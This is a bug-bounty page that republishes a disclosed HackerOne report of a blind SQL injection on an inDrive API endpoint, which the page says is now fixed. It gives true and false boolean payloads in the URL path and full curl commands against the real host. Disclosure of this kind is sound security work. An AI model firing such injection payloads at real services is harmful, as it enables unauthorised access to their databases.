Skip to content
SQL injection Disclosed report Intermediate

Blind SQL injection on id.indrive.com

The server did not sanitise user input in a URL path, allowing an attacker to inject SQL commands. By using conditional responses, an attacker could retrieve information from the database, such as the SQL version.

kristoferent Follow

Originally disclosed on HackerOne

Bounty$4,134incl. $134 bonus Critical View original
  • Triaged in under an hour
  • Fixed in 4 months
  • Paid in 6 days
  • Disclosed after 5 months

Summary by the program

Summary by the researcher

A blind SQL injection was found on id.indrive.com that allowed an attacker to retrieve information from the database by using conditional responses.

The report

Summary:

The server does not perform sanitization on user input, allowing an attacker to inject arbitrary SQL commands into a query.

Steps To Reproduce:

  1. Go to https://promo.indrive.com/10ridestogetprize_ru/random
  2. Click "Сгенерировать". A request to https://id.indrive.com/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/29/5/phone will be made:

████████ 3. Repeat this request, but change the path to:

/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=1--

A random entry from the database will be returned:

████ 4. Change the path in a query to:

/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=2--

The response from the server will be empty:

███████

Both requests in curl format

curl -i -s -k -X $'GET' \
    -H $'Host: id.indrive.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Origin: https://promo.indrive.com' -H $'Referer: https://promo.indrive.com/' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-site' -H $'Te: trailers' -H $'Connection: close' \
    $'https://id.indrive.com/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=1--'
curl -i -s -k -X $'GET' \
    -H $'Host: id.indrive.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Origin: https://promo.indrive.com' -H $'Referer: https://promo.indrive.com/' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-site' -H $'Te: trailers' -H $'Connection: close' \
    $'https://id.indrive.com/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=2--'

Impact

This vulnerability allows attackers to inject any SQL statements into a query. For example, I was able to retrieve the SQL version: PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1)

The original report as published on HackerOne, by kristoferent. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could inject arbitrary SQL statements and retrieve information from the database, such as the SQL version.

What the attacker needed

None

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website took a piece of the web address and put it directly into a database command without checking it. An attacker could add extra database instructions to that address, and the website's response would reveal whether those instructions were true or false, letting the attacker slowly extract data.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by kristoferent

View all

1 more disclosed report, best first.

More from inDrive

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.